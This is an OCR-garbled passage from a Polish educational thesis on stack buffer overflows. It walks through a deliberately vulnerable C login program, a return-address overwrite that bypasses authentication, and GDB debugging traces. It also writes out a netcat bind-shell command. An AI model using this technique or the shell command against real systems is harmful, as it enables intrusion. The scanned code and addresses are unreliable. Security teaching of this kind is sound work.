Listing 3.1. Przyktadowy program podatny na blgd naruszenia struktury stosu. Zrédlo: opracowanie wlasne.

Kod programu ukazany na listingu 3.1, stanowi bardzo prostg aplikacj¢ oczekujaca w pierwszym
argumencie wywolania programu, ciagu znakdéw, ktory bedzie hastem dostgpowym do interfejsu po
zalogowaniu — interfejs ten implementuje funkcja bank. Wewnatrz funkcji main nastepuje
wywotanie innej funkcji — login, ktora ma na celu dokona¢ uwierzytelnienia na podstawie
podanego hasta. Mozna si¢ teraz zastanowic, jakie potencjalne cele probowat by atakujacy osiagnac
w celu naduzycia wskazanego programu. Celem atakujagcego najwyrazniej bylaby funkcja bank,
prezentujaca interfejs uzytkownika zalogowanego. Gdyby atakujacemu udalo si¢ w jaki§ sposob
przej$¢ do tej funkcji — omingtby w ten sposéb mechanizm logowania, zaktadajac, ze nie ma on
mozliwosci pozyskania hasta dostgpowego do tej aplikacji. Innym celem ataku byta by zmienna
authorized, ktorg atakujacy chciatby w jaki§ mozliwy sposob ustawi¢ na warto$¢ rézng od zera,
tak aby w gtownej funkcji programu spetni¢ warunek autoryzacji i przejs¢ do funkcji interfejsu
zalogowanego uzytkownika. Jeszcze innym celem ataku moglaby by¢ osadzona na stale w programie
warto$¢ bedaca poprawnym hastem dostepowym do interfejsu. Oczywiscie program ten jest do
granic mozliwo$ci prostym przyktadem aplikacji i w przypadku powazniejszych produkcji taka
metoda autoryzacji nie miataby prawa istniec.
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Ponizszy diagram przedstawia stos po wyjsciu z funkcji 1ogin:

Adres Zawartosé stosu OxBFFFFFFF - wysokie adresy stosu

Oxbffffcocc| adres powrotu 2 main 1| void bank({} {
\E Oxbffffoc? stara EBP 2 printf("Welcome to your bank account\n");
5 OxbEEFfoce authorized 3[ 3
E Oxbffffoch argument pass 4| int login{char *pass) {
2 Oxbffffchc adres powrotu Z login 5 char buffer[32];
E Oxbffffzhs | adres ramkid funkci main 6 atrepy (buf fer, pass):;
% Oxbffffche 7 if{!strcmp (buffer, "secret")){
E 1 return 1:

buffer[32] 9 }
10 return 0;

3 Pxbffffcas 11| ?
£ Oxbffffcos pass 12| int m=in{int arge, char** argv){
'a Oxbffffoa0 buffer 13 int anthorized = 0;
% Oxbffffzfc adres stafej "secret” 14 authorized = login{argv[1]):
_EL OxhffffoB8 buffer 15 if( authorized) {
% Oxbffffcis nigistotng wartosé 16 bank ()} ;
E Oxbffffz80 nigistotng wartose 17 }

Oxbffffoie nieistotng wartosé 18| }

Oxbffffc78 nicistotng wartosé

Oxbffffc74 nigistotng wartosé

OxBOOODDDO - niskie adresy stosu

Rysunek 3.1. Diagram stosu przyktadowego programu w momencie powrotu z funkcji logowania. Zrédio:
OIJI‘LIC()WCHH.(Z wlasne.

Rysunek 3.1. prezentuje pogladows zawarto$¢ tego stosu. Kolory na stosie odpowiadajg
zawartos$ci stosu danej funkcji. Obszar zaznaczony kolorem jasnozoéitym jest wyraznie wigkszy, z
uwagi na obecnos¢ bufora buf fer o rozmiarze 32 bajtow (tablica obiektow typu char). Ukazano
tutaj, ze tablica ta zaczyna si¢ pod adresem Oxbffffc98, za§ konczy na adresie Oxbffffcb7.
Nalezy przyjrze¢ si¢ temu, co znajduje si¢ na stosie powyzej adresu Oxbffffcbg. Najpierw
przedstawiono tam warto$¢ rejestru EBP, wskazujacego na ramke funkcji main. Tuz nad nim, pod
adresem Oxbffffcbc znajduje si¢ adres powrotu z funkcji login do nastgpnej instrukcji po
wywolaniu tejze, wewnatrz funkcji main. Nad adresem powrotu znajduje si¢ argument wywotania
funkcji 1ogin, oraz obszar przeznaczony na zmienng lokalng authorized, znajdujacg si¢ w ramce
funkcji main — z uwagi na fakt, Zze zmienna ta zadeklarowana jest w zakresie tej samej funkcji.

Majac tak wypetniony stos jak ten pokazany na rysunku 3.2., oczywistym staje si¢, ze najbardziej
interesujacymi, z punktu widzenia atakujacego, adresami w tej strukturze beda Oxbffffcbc Oraz
Oxbffffccd. Pierwszy z tych adresow wskazuje na wartos¢, ktdra zostanie wykorzystana podczas
instrukcji RET w ciele funkcji login, aby skierowaé procesor na wykonanie nastgpnej po
wywolaniu funkcji login instrukcji (wewnatrz funkcji wywolujacej — a wige funkcji main). Jesli
atakujgcy zdotatby ustawic ten adres na adres funkcji bank — procesor skierowatby wykonanie do
wnetrza funkcji bank. Oczywiscie atakujacy mogtby rownie dobrze podaé tam adres innej funkcji,
np. funkcji system dostepnej w bibliotece standardowej jezyka C. Majac jeszcze odpowiednio
ustawiony wskaznik do bufora zawierajacego argument wywotania funkcji system — na stosie pod
adresem O0xbffffcc0 — uzyskatby w ten sposéb wywotanie procedury, ktéra wykona zadany w
argumencie ciagg w ramach instrukcji w powloce systemu. Podanym ciggiem mogtaby by¢ instrukcja
nawigzania polaczenia z atakujacym i udostepnienia mu powloki systemowe;j:
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$ /bin/nc -klp 4444 -e /bin/bash &

Polecenie powyzsze, wykonane w powloce systemu, wywotuje program NC (NetCat), ktory
nastepnie otwiera socket w celu nastuchiwania na porcie 4444, na wiele potaczen przychodzacych.
Kazde z otwartych potaczen przekierowuje standardowe strumienie do programu /bin/bash. W
ten sposob atakujacy komunikujgc si¢ z portem 4444 maszyny ofiary — de facto pisze do
standardowego wejscia programu bash, za$ standardowe wyjscie tego programu odsylane jest z
powrotem do atakujacego. Znak ampersand umieszczony na koncu polecenia spowoduje wykonanie
zadania w tle, podobnie do ustugi / demona uniksowego. Dzigki temu tuz po wywotaniu polecenia
w ramach funkcji system — procesor zwrdci wykonanie do programu zaatakowanego, bez
koniecznosci ,,wiszenia” w tym programie.

Ostatecznie drugi z tych adresow, Oxbffffcc4, wskazujac na zmienng authorized bedzie
interesowal atakujacego, ktory moglby chcie¢ wypehic ten adres wartoscig réozng od zera, aby
osiagna¢ bezwzgledna autoryzacje w systemie.

3.1. Przepelnienie bufora na stosie

Przepelnienie bufora na stosie wystepowaé bedzie w sytuacji, w ktorej program wczytywad
bedzie do danego bufora zaalokowanego na stosie, wigcej danych niz bufor ten zostat
zaprojektowany do przechowania. Odwotujac si¢ do przyktadowego programu z listingu 3.1. oraz
obrazu jego stosu ukazanego na rysunku 3.1., nalezy si¢ zastanowié, gdzie wystepuje problem
naduzycia stosu, popetniony przez programiste bedacego autorem tego kodu. Przytocze raz jeszcze
ten kod, tym razem pozbywajac si¢ nieistotnych na ten moment fragmentow:

int login(char *pass) {
char buffer([32];

strcpy (buffer, pass);

}

int main (int argc, char** argv) {
éﬁéhorized = login(argv[1]);

}

Listing 3.2. Przykladowy program podatny na blgd naruszenia struktury stosu. Zrédto: opracowanie wlasne.

Funkcja main otrzymuje wszystkie argumenty wywotania tego programu w ramach tablicy
wskaznikow do ciggdéw znakdéw, nazwanej argv. Argument argc stanowi liczbg elementow w tej
tablicy. Mozna tutaj zauwazy¢, ze wskaznik do pierwszego argumentu programu przekazywany jest
bezposrednio do funkcji 1ogin. Nastgpnie w tej funkcji, deklarowany jest na stosie bufor o wielkosci
32 znakow. Na rysunku 3.1. bufor ten oznaczono jako zaczynajacy si¢ pod adresem Oxbffffc98.
Do tego bufora, przy pomocy funkcji strcpy, program kopiuje dane na ktore wskazuje adres
zawarty we wskazniku pass, bedacym argumentem funkcji 1ogin. To co tutaj wlasciwie zachodzi,
to bezposrednie wykorzystanie danych dostarczonych z zewnatrz, bez natozenia ograniczen na te
dane — cho¢by w postaci testow dlugo$ci wprowadzanej puli bajtow, lub wymuszenia skopiowania
co najwyzej takiej porcji danych wejSciowych, aby wypetnita po brzegi bufor docelowy, ale o ani
jeden bajt wiecej. Tych testow tutaj nie ma, wiec funkcja strcpy zgodnie ze swojg implementacja,
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bedzie kopiowala ciag znakow (c-string), tak dtugo, dopoki nie napotka bajtu zerowego tzw. NULLa.
Zatem w teorii, podanie przez atakujacego argumentu wywotania o dtugosci np. 100 bajtow —
powinno spowodowac przepelnienie bufora i tym samym naruszenie struktury stosu, przekierowanie
rejestru EIP pod $mieciowa warto$¢ — co wygeneruje wyjatek procesora, to za§ zmusi system do
wystania sygnatlu SIGSEGV do procesu (Segmentation Fault), co ostatecznie zakonczy jego
dzialanie. Sprawdzmy jak sie to ma w praktyce, poprzez przesledzenie ponizszej sesji linii polecen:

root@protostar:/home/inz# ulimit -c unlimited
root@protostar:/home/inz# gcc -g bank.c -o bank
root@protostar:/home/inz# ./bank hello
root@protostar:/home/inz# ./bank secret

Welcome to your bank account

root@protostar:/home/inz# ./bank ‘python -c 'print "A"*20'"
root@protostar:/home/inz# ./bank ‘python -c 'print "A"*100'"
Segmentation fault (core dumped)

root@protostar:/home/inz# ./bank ‘python -c 'print "A"*40'"
Segmentation fault (core dumped)

root@protostar:/home/inz# ./bank ‘python -c 'print "A"*41'"
root@protostar:/home/inz# objdump -t bank

bank: file format elf32-i386
SYMBOL TABLE:

08048380 1 d .text 00000000 .text

080496b0 1 d .data 00000000 .data
080496b8 1 d .bss 00000000 .bss
08048448 g F .text 0000003d login
08048434 g F .text 00000014 bank
08048485 g F .text 00000033 main
080482e4 g F .init 00000000 _init

root@protostar:/home/inz# ./bank “python -c 'print "A"*40+"\x34\x84\x04\x08""'"
Segmentation fault (core dumped)

root@protostar:/home/inz# ./bank ‘python -c 'print "A"*44+"\x34\x84\x04\x08"'"
Welcome to your bank account

Segmentation fault (core dumped)

root@protostar:/home/inz#
Listing 3.3. Sesja uruchamiania i atakowania przykladowego kodu ,,bank” . Zrédlo: opracowanie wlasne.

Na listingu 3.3. przedstawiono sesje kompilacji, a nastepnie prob ataku kodu programu bank.
Pierwsze polecenie ustawia srodowisko tak, aby przy kazdej awarii programu generowany byt zrzut
pamieci na potrzeby debugowania. W drugim poleceniu kompiluje program przy pomocy
kompilatora GCC w wersji 4.4.5 (pod systemem Linux 2.6.32-5-686 Debian 6.0 Squeeze). Trzecie
polecenie uruchamia program z przykladowym argumentem, b¢dacym niepoprawnym hastem do
programu. W efekcie nic si¢ nie pojawia na wyjsciu. W kolejnym poleceniu, hasto secret zostaje
przekazane przez parametr wejsciowy, dzigki czemu na wyjscie trafia informacja o powitaniu w
interfejsie konta bankowego.

Nastepne polecenia prezentujg proby ataku. Przyjrzyjmy si¢ im blizej:

root@protostar:/home/inz# ./bank ‘python -c 'print "A"*20'"
root@protostar:/home/inz# ./bank ‘python -c 'print "A"*100'"
Segmentation fault (core dumped)
root@protostar:/home/inz# ./bank ‘python -c 'print "A"*40'"
Segmentation fault (core dumped)

Listing 3.4. Sesja atakowania przyktadowego kodu ,,bank” . Zrédto: opracowanie wlasne.
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Kod sesji atakujacego zawarty jest na listingu 3.4. Skladnia polecenia zawartego w tzw.
backtickach — symbolach odwroconego apostrofa, powoduje uruchomienie podpowtoki, wykonanie
polecenia, a nastgpnie przekazanie wyjscia tego polecenia w miejsce wywotania podpowloki — a
wigc miedzy te znaki odwroconych apostrofow. W efekcie, poprzez wykonanie interpretera python
i podanie mu na wejsciu kodu generujacego 20 znakow A — uzyskano ciag o dtugosci 20 bajtow
wypelniony warto§ciami 0x41 (kod ASCII znaku ‘aA’). Tak wywotany program bank nastgpnie
uruchamiamy. Wej$cie jest przekazywane do funkcji login, tam za$§ bufor kopiowany jest do lokalne;j
tablicy i dokonywane jest poroéwnanie. Kolejne polecenie z listingu 3.4. przekazuje programowi
argument wywotania o dlugosci 100 znakow. Takie wywotanie natychmiast generuje wyjatek
programu i zabija proces. Przystapi¢ teraz do przedstawienia, w jaki sposob nastepuje naruszenie
struktury stosu podczas podania wigkszej ilosci bajtow niz bufor potrafi przyjac. Aby to wyjasnic,
odwotam si¢ do sesji debugowania.

root@protostar:/home/inz# gdb -q bank
Reading symbols from /home/inz/bank...done.
(gdb) disas main

Dump of assembler code for function main:

0x08048485 <main+0>: push %ebp

0x08048486 <main+l>: mov %esp, sebp
0x08048488 <main+3>: and SOxfffffff0, $esp
0x0804848b <main+6>: sub $0x20, $esp
0x0804848e <main+9>: movl $0x0,0x1c (%esp)
0x08048496 <main+17>: mov 0xc (%ebp) , $eax
0x08048499 <main+20>: add $0x4, Seax
0x0804849c <main+23>: mov ($eax) , seax
0x0804849e <main+25>: mov %eax, (%esp)
0x080484al <main+28>: call 0x8048448 <login>
0x080484a6 <main+33>: mov $eax, 0xlc (%esp)
0x080484aa <main+37>: cmpl $0x0, 0xlc (%esp)
0x080484af <main+42>: je 0x80484b6 <main+49>
0x080484b1 <main+44>: call 0x8048434 <bank>
0x080484b6 <main+49>: leave

0x080484b7 <main+50>: ret

End of assembler dump.
(gdb) break *main+28
Breakpoint 1 at 0x80484al: file bank.c, line 20.
(gdb) r ‘python -c 'print "A"*40'"
Starting program: /home/inz/bank “python -c 'print "A"*40'"
Breakpoint 1, 0x080484al in main (argc=2, argv=0xbffffd94) at bank.c:20
20 authorized = login(argv([1l]);
(gdb) x/s argv[1]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) x/4xw S$ebp
Oxbffffce8: Oxbffffde68 0xb7eadc76 0x00000002 Oxbffffdo4
(gdb) info frame
Stack level 0, frame at OxbffffcfO:
eip = 0x80484al in main (bank.c:20); saved eip 0xb7eadc76
source language c.
Arglist at Oxbffffce8, args: argc=2, argv=0xbffffdo4
Locals at Oxbffffce8, Previous frame's sp is Oxbffffcf0
Saved registers:
ebp at Oxbffffce8, eip at Oxbffffcec

Listing 3.5. Debugowanie wadliwego programu. Zrédlo: opracowanie wlasne.

Najpierw deasembluje funkcje main W celu ustawienia punktu wstrzymania® na adresie
wykoniania wywolania funkcji login. Nastgpnie uruchamiam program z zadanym parametrem
bedacym czterdziestoma znakami ‘A’ koto siebie. Dla pewno$ci pokazuje ten cigg znakdéw
poleceniem x/s argv([1l]. Zrzucam jeszcze pierwsze cztery podwojne stowa (DWORDy) spod
adresu EBP aby sie upewni¢ jaki jest adres starej ramki funkcji, a wiec poprzednia warto$¢ EBP oraz

8 ang. Breakpoint — miejsce w programie, ktore spowoduje zatrzymanie sesji debuggera.
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adres powrotu z funkcji main (adresem tym jest 0xb7eadc76) . Jest to adres powrotu do jednej z
funkcji bibliotecznych jezyka C. Funkcja main, jak wspomniano, nie jest pierwsza funkcja
wywotywang podczas uruchamiania programu. Ostatnim poleceniem, info frame — Ostatecznie
odpytuje debugger GDB 0 szczegdtowe informacje o ramce, obecnie wykonywanej funkcji. Dostaj¢
informacje o adresie powrotnym, zapisanym rejestrze Esp, 0 zmiennych lokalnych, parametrach itd.
Wréémy jednak do $ledzenia wykonania programu, by przeanalizowa¢ dlaczego ciag czterdziestu
znakoéw ‘A’ wygenerowat wyjatek.

(gdb) display/3i $eip
1: x/3i S$eip

0x80484al <main+28>: call 0x8048448 <login>
0x80484a6 <main+33>: mov %eax, 0xlc (sesp)
0x80484aa <main+37>: cmpl $0x0, 0x1lc (%esp)
(gdb) si

login (pass=0xbffffeb0 'A' <repeats 40 times>) at bank.c:6
6 int login(char *pass) {
1: x/31i $eip

0x8048448 <login>: push sebp

0x8048449 <login+l>: mov sesp, sebp

0x804844b <login+3>: sub $0x38, $esp

(gdb)

0x0804845b 9 strcpy (buffer, pass);

1: x/31i $eip

0x804845b <login+19>: call 0x8048344 <strcpy@plt>

0x8048460 <login+24>: movl $0x804859d, 0x4 (%esp)

0x8048468 <login+32>: lea -0x28 (%ebp) , %eax

(gdb) x/16xw $ebp-32

Oxbffffc98: Oxbffffca8 O0xb7eada75b Oxb7£fd7££f4 0x08049690
Oxbffffca8: Oxbffffcb8 0x08048310 0xb7££1040 0x08049690
Oxbffffcb8: Oxbffffce8 0x080484a6 Oxbffffeb0 Oxb7fd7ff4
Oxbffffcc8: 0x080484d0 Oxbffffce8 0xb7ec6365 0xb7££1040
(gdb) ni

10 if (!strcmp (buffer, "secret")) {

1: x/31i $eip

0x8048460 <login+24>: movl $0x804859d, 0x4 (%esp)

0x8048468 <login+32>: lea -0x28 (%ebp) , $eax

0x804846b <login+35>: mov seax, ($esp)

(gdb) nix/16xw S$ebp-32

Oxbffffc98: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbffffca8: 0x41414141 0x41414141 0x41414141 0x41414141
Oxbffffcb8: Oxbffffc00 0x080484a6 Oxbffffeb0 Oxb7fd7ff4
Oxbffffcc8: 0x080484d0 Oxbffffce8 0xb7ec6365 O0xb7££1040

Listing 3.6. Moment nadpisania rejestru poprzedniego EBP w ramce funkcji. Zrédlo: opracowanie wilasne.

Zaczynam od ustawienia $ledzenia wykonania programu, a nastgpnie instrukcja si wykonuje
krok do przodu o jedna instrukcje (Step Into). Powtarzam kilkukrotnie te operacje (co zostato wyciete
z listingu) by ostatecznie znalez¢ si¢ tuz przed wywotaniem funkcji strcpy. Teraz pokazuje jak
wyglada stan stosu pod adresem wskazywanym przez EBP, interesujace sg zwlaszcza dwa obiekty
Czterobajtowe znajdujace si¢ pod adresami Oxbffffcb8 i Oxbffffcbc — kolejno stary EBP
(nalezacy do funkcji main) oraz adres powrotu do funkcji main, a konkretniej pod adres
<main+33>. Nastepnie wykonuje krok, nie wchodzac do wywotania tej funkcji, przy pomocy
instrukcji ni i znow badam zawarto$¢ stosu w tym samym miejscu co poprzednio. Zauwazy¢ mozna
teraz, ze ostatni, najmtodszy bajt poprzedniego rejestru EBP uleglt nadpisaniu warto$cig zerowsa, zas
adres powrotu nie ulegl zmianie. Oznacza to, ze funkcja strcpy przekopiowala doktadnie 40
znakéw ‘A’ (0 kodzie 0x41), a nastepnie ciag ten zakonczyta znakiem null o kodzie zerowym. Ten
za$ znak nadpisal najmtodszy bajt zwrotnego rejestru EBP. Efektem tego bylo przesunigcie adresu
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starej ramki funkcji 0 0xE8 bajtéw do tytu. Sytuacje t¢ ukazano na pogladowym diagramie stosu, na
rysunku 3.2:

Adres Fowarloié stosy OxEFFFFFFF - wysokie adresy stosu

Oxbffffoon Oxbfeadcit adres powrotu z funkeji main
_E Oxbffffocld ebffffdes adres ramki funkcfi wywolufgoej main
g
..g Oxbffffood o authorized
0
2 OxbfEfffonl adres argv[1] parametr pass
2 Oxbffffcbe DrOa0M8406 adres powrotu do funke]l main
4]
= OxbfELffobs ebffififc o0 adres ramkl funkefi main
o
E OxbEEf£Lfcbd Ad4AA844
c
-
2 AAAAAA44 tablica radeklarowana w lokalmym zakresie

AASAA444 zrmiennych w funkeji login, o typie: char
AAAAAAAA buffedidl:

Oxbffffolo Addaaa44
2
a Oxbffffo8s pass
W
= FEm
2 OxbEEFFofY dubffffcss
5 OxbfELL080|  gdres stafef “secret”
o
o2 OxbEffE£fe7
b x o txbffffcas
E Oxbrrffea nielstotng wartost
] OxbEEEFRTE »
= nieistotng warlosc

fre OxBO0O0000 - niskie adresy stosu

Rysunek 3.2. Diagram stosu w momencie nadpisania najmlodszego bajtu adresu ramki funkcji main. Zrédlo:
opracowanie wlasne.

Rysunek powyzszy przedstawia sytuacj¢ zaistniala w momencie nadpisania najmtodszego bajtu
starego adresu ramki funkcji main. Obszar oznaczony czerwong ramkg oznacza region stosu, ktory
od teraz, w wyniku btedu naruszenia stosu, bedzie kontrolowanym przez atakujacego. Kazdy bajt w
tym obszarze moze przybra¢ warto$¢ taka, jaka atakujacy spreparuje. Pogrubiong czcionka
zaznaczono najwazniejsze wskazniki znajdujace si¢ na stosie. Prosz¢ zauwazy¢, ze od pierwszego
bajtu nadpisanego w starym EBP do pierwszego bajtu adresu powrotnego wystepuje odlegtos$é
zaledwie trzech bajtow. Oznacza to, ze jesli atakujacy poda o trzy bajty dtuzszy ciag znakoéw — bedzie
on kontrolowal warto$¢ w adresie powrotnym z funkcji 1ogin. Wracajac do programu, kolejnym
krokiem bedzie wyjscie z funkcji 1login i powr6t do funkcji main.

(gdb) ni

15 }

2: Sebp = (void *) Oxbffffcb8
1: x/31 $eip

0x8048483 <login+59>: leave
0x8048484 <login+60>: ret

0x8048485 <main>: push Sebp

(gdb) x/8xw S$ebp-8

OxbffffcbO: 0x41414141 0x41414141 Oxbffffc00 0x080484a6
OxbffffccO: Oxbffffebl Oxb7£fd7f£f4 0x080484d0 Oxbffffce8
(gdb) x/4xw Oxbffffc00

O0xbffffc00: 0xb7ffb71c Oxbffffc24 Oxb7ea3614 0xb7fel1848
(gdb) ni

0x08048484 in login (pass=0xb7ea3614 "\247J") at bank.c:15

15 }

2: S$ebp = (void *) Oxbffffc00
1: x/31 $eip
0x8048484 <login+60>: ret
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0x8048485 <main>: push sebp
0x8048486 <main+l>: mov %esp, sebp

Listing 3.7. Wychodzenie z ramki funkcji 1ogin. Zrédlo: opracowanie wlasne.

Na listingu 3.7. zauwazy¢ mozna przejscie do epilogu funkcji login. Warto$¢ rejestru EBP jest
rowna Oxbffffcb8, po wyswietleniu otoczenia wokot tego adresu wida¢ naruszony stos oraz
zmodyfikowany najmtodszy bajt adresu poprzedniej ramki stosu — a wiec pierwotnej wartosci
rejestru EBP z momentu wejscia do funkcji login (jej prologu). Zrzucam jeszcze pierwsze cztery
podwojne stowa spod adresu 0xbff£fc00 i koncentruje mojg uwage na wartosci Oxbffffc24, do
ktorej opisu zaraz powrocg. W ramach przypomnienia, instrukcja LEAVE stanowi epilog funkcji (tutaj
funkcji 1ogin) i jej zadaniem jest zdjgcie wartosci ze stosu i przypisanie tej wartosci rejestrowi EBP
— co ma stanowi¢ powro6t do poprzedniej ramki funkcji.

3: $ebp = (void *) OxbEEEE£cO0

2: Sesp = (void *) OxbffffccO
1: x/31i $eip

0x80484a6 <main+33>: mov $eax, 0xlc (%esp)
0x80484aa <main+37>: cmpl $0x0,0x1c (%esp)
0x80484af <main+42>: je 0x80484b6 <main+49>

1: x/31 $eip

0x80484b6 <main+49>: leave

0x80484b7 <main+50>: ret

0x80484b8: nop

(gdb) x/2xw $ebp

Oxbffffc00: Oxb7ffb71c Oxbffffc24

(gdb) ni

0x080484b7 in main (argc=538983283, argv=0x6b6f6f6c) at bank.c:24
24 }

2: S$ebp = (void *) Oxb7ffb7lc
1: x/31 $eip
0x80484b7 <main+50>: ret

Listing 3.8. Wychodzenie z ramki funkcji main. Zrédio: opracowanie wlasne.

To co teraz si¢ dzieje w programie jest bardzo istotne. Bioragc pod uwagg fakt, ze najmtodszy
bajt poprzedniej wartosci rejestru EBP zostal nadpisany zerem, wigc teraz przywracana do rejestru
EBP wartos$¢, bedzie rowniez tak zmodyfikowana. W efekcie, w dalszym wykonaniu programu,
kiedy nastapi wyjscie z funkcji main, znodw instrukcja LEAVE przeniesie warto$¢ 0xb7££fb71c do
rejestru EBP, sadzac Ze jest to adres poprzedniej ramki funkcji i adres powrotu zostanie ustalony na
Oxbffffc24. Ponizszy listing pokazuje moment opuszczenia funkcji main:

(gdb) ni
Oxbffffc24 in 22 ()

2: $ebp = (void *) Oxb7ffb7lc
1: x/31i $eip

Oxbffffc24: pusha
Oxbffffc25: cld
Oxbffffc26: (bad)
(gdb) ni

Oxbffffc25 in 2?2 ()
2: $ebp = (void *) Oxb7ffb7lc
1: x/31i $eip

Oxbffffc25: cld

Oxbffffc26: (bad)

Oxbffffc27: mov SO0xb7f£0626, $edi
(gdb) ni

Oxbffffc26 in 2?2 ()
2: Sebp = (void *) Oxb7ffb71lc
1: x/31 $eip
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Oxbffffc26: (bad)
Oxbffffc27: mov SO0xb7f£0626, $edi
(gdb) ni

Program received signal SIGILL, Illegal instruction.
Oxbffffc26 in 27?2 ()

2: $ebp = (void *) Oxb7ffb7lc

1: x/31i $eip

Oxbffffc26: (bad)
Oxbffffc27: mov SO0xb7f£0626, $edi
(gdb) ni

Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.

Listing 3.9. Wygenerowanie wyjqtku na skutek naruszenia struktury stosu. Zrédlo: opracowanie wlasne.

Z racji iz wykonanie programu zostalo przeniesione pod adres Oxbffffc24, tam za$ znajdowaty
si¢ dane inne anizeli poprawnego kodu biblioteki — totez program po kilku kolejnych instrukcjach
napotkat w koncu instrukcje nierozpoznawalna przez procesor. Ten wigc nie mial innego wyboru jak
wygenerowa¢ wyjatek #UD, ktory nastgpnie system przetworzyl jako sygnat SIGILL, po czym
zakonczyt wykonywanie programu. Ponizej, na rysunku 3.3. zamieszczono definicje wyjatku #UD:

Table 6-1. Exceptions and Interrupts

Vector No. | Mnemonic Description Source
0 H#DE Divide Error DIV and IDIV instructions.
1 #DB Debug Any code or data reference.
2 NMI Interrupt Non-maskable external interrupt.
3 #BP Breakpoint INT 3 instruction.
4 #OF Overflow INTO instruction.
5 #BR BOUND Range Exceeded BOUND instruction.
6 #UD Invalid Opcode (UnDefined Opcode) UDZ2 instruction or reserved opcode.'

Rysunek 3.3. Wycinek tabeli wyjgtkéw generowanych przez procesory Intel. Zrédio: [20]

Reasumujgc: na skutek dostarczenia na wejsciu programowi dtuzszego ciggu niz byt on zdolny
przetworzy¢ w sposob bezpieczny — W ramach wywotania jednej ze swoich funkcji — zostalo wpisane
wigcej danych do bufora zaalokowanego na stosie, anizeli alokacja przewidywala. W wyniku tego
przepetnienia bufora na stosie, nadpisana zostala poprzednia wartos¢ rejestru EBP, ktora oznaczata
adres ramki funkcji wywotujacej obecnie wykonywana funkcj¢ — w naszym przypadku adres ramki
funkcji main. W efekcie takiego nadpisania, podczas prologu, kiedy nastepowal powrdt do
poprzedniej ramki funkcji, ustanawiany byt bledny adres. Nastepnie przy ponownym epilogu, typ
razem funkcji main, adres powrotny z funkcji main do zewnetrznej byt btedny i prowadzacy w bufor
bajtow, nie bedacych instrukcjami do wykonania. W efekcie takiego przebiegu programu, procesor
wykrywat niepoprawny rozkaz do zinterpretowania, generowat wyjatek, ktory to nastepnie zabijat
proces.

3.2. Naduzycia bledéw przepelnienia stosu
Sytuacja taka jak powyzsza, czyli tzw. crash programu, spowodowany nadpisaniem ktorego$ z

rejestrOw w ramach przetwarzania danych pobranych z zewnatrz (na ktore atakujgcy ma wpltyw), jest
natychmiastowym sygnatem dla ekspertow od bezpieczenstwa systemow operacyjnych, ze badany
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program jest podatny na btad naruszenia pamigci stosu. Na etapie ustalenia crashu programu nie jest
jeszcze pewne, co go spowodowato, czy atakujacy ma jakikolwiek wptyw na taki przeplyw
programu, oraz czy jest to sytuacja powtarzalna, przewidywalna, poddajaca si¢ modelowaniu.
Dlatego tez kazda tego typu sytuacja jest najpierw recznie (rzadziej automatycznie) analizowana, a
nastepnie jesli ustalona zostanie podatnos¢ i przygotowany kod exploita, tzw. Proof of Concept
(dowdd koncepcji), ktory miatby na celu udowodni¢ mozliwos¢ naduzycia odkrytej podatnosci —
wtenczas uznaje si¢ program za podatny. Odpowiedzialni i dziatajacy etycznie eksperci
bezpieczenstwa w takiej sytuacji natychmiast btad zglosza czy to do publicznie dostgpnych
systemOw $ledzenia bledow (tzw. bugtrack’ow) czy tez bezposrednio do programistow (firm)
odpowiedzialnych za tworzenie produktu. W przypadku ekspertow nie majacych interesu w
etycznym zgloszeniu takiego btedu, czestym jest odsprzedawanie informacji o takich odkryciach
(wraz z kodami udowadniajgcymi mozliwos¢ naduzycia) w ramach tzw. bug bounty — czyli
specjalnych programdéw finansujacych zglaszanie btedow. Odkryta podatnos¢, ktora wczesniej nie
zostata nigdzie opisana, nazywana jest branzowo Oday’em — bledem odkrytym ,,na §wiezo”. Istnieja
eksperci bezpieczenstwa, ktorzy utrzymujg si¢ i parajg wyszukiwaniem Oday’'éw w celu
odsprzedania ich podmiotowi, ktory zaptaci najwiecej. Biedy typu Oday w popularnym
oprogramowaniu, takim jak systemy operacyjne urzadzen mobilnych — Android, iOS, Windows
Phone, a takze innych popularnych programach uzytkowych jak systemy operacyjne Windows,
Linux, lub oprogramowanie klienckie Adobe Flash Player, Adobe PDF Reader, Microsoft Office,
Mozilla Firefox, Google Chrome — s niezwykle cenne i pozgdane zarowno przez firmy komercyjne
jak 1 rzady roznych panstw. Kazdy tego typu btad, jak rowniez kod go wykorzystujacy, stanowi
nowoczesny rodzaj broni, wykorzystywanej podczas prowadzenia dziatan cybernetycznych.
Wspomniana w pierwszym rozdziale jednostka TA0, finansowana przez rzad Amerykanski, stanowi
przyktadowego odbiorce tego typu technologii. Eksperci pracujacy dla tej jednostki wykorzystuja
odkryte i wykupione btgdy w celu prowadzenia dziatan ofensywnych przeciwko wybieranym przez
zwierzchnikéw celom. Nic wiec dziwnego, ze kazdy btad dotykajacy jak najwiekszego odsetku
uzytkownikow na $wiecie — jest na wagg ztota. W obecnych czasach, o przewadze jednego podmiotu
nad drugim w wyscigu zbrojen cybernetycznych, decydowac bedzie technologiczny arsenat,
zaplecze exploit’é6w oraz technologii integrujacych je i wykorzystujacych w celach ofensywnych.
Stawki ptacone za tego typu btgdy wahaja si¢ nawet do 500,000$ na rynku publicznym, na czarnym
rynku za$ niekiedy do dwukrotnos$ci tych sum. Rysunek 3.4. przedstawia przyktadowy graf wyptat
za bledy, prowadzony przez skupujaca je firme Zerodium:
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Rysunek 3.4. Zakres cen placonych przez firme Zerodium za krytyczne bledy bezpieczenstwa. Zrédlo: Firma
Zerodium, https://www.zerodium.com/program.html

Wracajac jeszcze raz do programu przedstawionego na rysunku 3.1., warto si¢ zastanowic, co
atakujacy moze osiggnaé przy mozliwosci kontrolowania zawartosci stosu. Stos kontrolowany jest
od poczatku bufora atakujagcego, w gor¢ przez ramke¢ funkcji main, wliczajac w to kontrole
zmiennych lokalnych funkcji main, adres jej powrotu itd. To co do tej pory zaprezentowano, to
dowod na istnienie btedu, oraz techniczne wyjasnienie jego pochodzenia. Aby jednak pomysle¢ o
odkrytym bledzie ofensywnie, niczym atakujacy, nalezy zastanowi¢ si¢ nad mozliwymi
scenariuszami jego naduzycia w celu np. przejecia kontroli nad maszyna.

Rysunek 3.2. przedstawia diagram pogladowy stosu tuz po wykonaniu funkcji strcpy.
Kontrolowany przez atakujacego ciag danych kopiowany jest bezposrednio do obszaru stosu, a na
